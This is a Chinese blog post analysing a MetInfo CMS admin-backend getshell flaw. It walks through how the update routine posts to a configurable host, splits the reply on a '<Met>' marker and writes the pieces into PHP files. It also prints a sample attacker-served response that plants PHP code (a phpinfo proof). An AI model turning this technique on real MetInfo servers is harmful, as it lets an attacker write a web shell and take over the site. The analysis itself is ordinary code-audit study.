代码审计分析之metinfo后台getshell

并非抄袭,而是分析。

原文地址 : http://www.91ri.org/16663.html

第一处代码分析

image_1ci1h3ar3oiqnjf26118n91e459.png-153.2kB

1
2
3
4
5
6
$post=array('ver'=>$metcms_v,'app'=>$applist);
$result=curl_post($post,60);
if(link_error($result)==1){
$results=explode('<Met>',$result); //下面会讲解
file_put_contents('dlappfile.php',$results[1]); //下面会讲解
file_put_contents('standard.php',$results[0].$results[1]); //下面会讲解

第四行:

explode函数小案例

1
2
$str = 'iamfree1,iamfree2';
var_dump( explode(',', $str) );

image_1ci1hjfniip7dlpt4o1vmbotr36.png-21.6kB

所以explode(',', $str)就是将$str中的,的内容分割为出来分别放到数组里。

第5-6行:

file_put_contents函数小案例:

1
file_put_contents('2018-07-10.txt', 'iamfree'); // 会在当前脚本创建一个2018-07-10.txt文件,内容为iamfree

image_1ci1i1a7v13grtgb1oeh155l18f693.png-77kB

第二处代码分析:

image_1ci1i505bbuk19eq1r6j1q5n141m9g.png-148kB

我做了相应的注释,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function curl_post($post,$timeout){

global $met_weburl,$met_host,$met_file;

$host=$met_host;
$file=$met_file;

if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')) {

// 这个if判断是否可以用curl、curl_init、curl_setopt、curl_exec、ecurl_close,如果可用,就执行下面的操作

$curlHandle=curl_init();

curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file); // CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。

curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl); //CURLOPT_REFERER:在HTTP请求头中"Referer: "的内容。

curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1);// CURLOPT_RETURNTRANSFER:在启用CURLOPT_RETURNTRANSFER的时候,返回原生的(Raw)输出。

curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout); //CURLOPT_CONNECTTIMEOUT:在发起连接前等待的时间,如果设置为0,则无限等待。

curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout); //CURLOPT_TIMEOUT:设置cURL允许执行的最长秒数。

curl_setopt($curlHandle,CURLOPT_POST, 1); // CURLOPT_POST:启用时会发送一个常规的POST请求,类型为:application/x-www-form-urlencoded,就像表单提交的一样。

curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post); // CURLOPT_POSTFIELDS:全部数据使用HTTP协议中的"POST"操作来发送。要发送文件,在文件名前面加上@前缀并使用完整路径。这个参数可以通过urlencoded后的字符串类似'para1=val1&para2=val2&...'或使用一个以字段名为键值,字段数据为值的数组。如果value是一个数组,Content-Type头将会被设置成multipart/form-data

$result=curl_exec($curlHandle); // 执行

var_dump($result);
curl_close($curlHandle);

}

image_1ci1ipjoquqvs8o145f92emu0c7.png-356.5kB

standard.php文件的代码:

image_1ci1ie3u4i0p3qv1a57r3a1fvibq.png-81.1kB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
metinfo

<Met>

<?php

echo "Joseph";

?>

<Met>

<?php

echo "<?php phpinfo();?>";

?>

疑问:

这里为什么要有<Met>呢? 我也不饶圈子了下面是解答

解答:

image_1ci1is5nb21ag67ge1660d4mck.png-145.8kB

完成,下面的很简单了,不用再讲了(不要问我为什么不自己审计一个,而是去分析别人的,我是不会告诉你我审计不出漏洞的)~

十年寒窗无人问,一举成名天下知
– Cai_Team

本文标题:代码审计分析之metinfo后台getshell

文章作者:Iamfree

作者QQ:1900065568

发布时间:2018年07月10日 - 15:07

最后更新:2018年07月10日 - 16:07

原始链接:127.0.0.1/2018/07/10/代码审计分析之metinfo后台getshell/

许可协议:暂时请不要转载,感谢!!!

坚持写有质量的原创\转载文章,如果您觉得质量不错的话就点击下面按钮打赏我们把~
---------------本文结束感谢您的阅读,喜欢我们的话就加入我们吧~---------------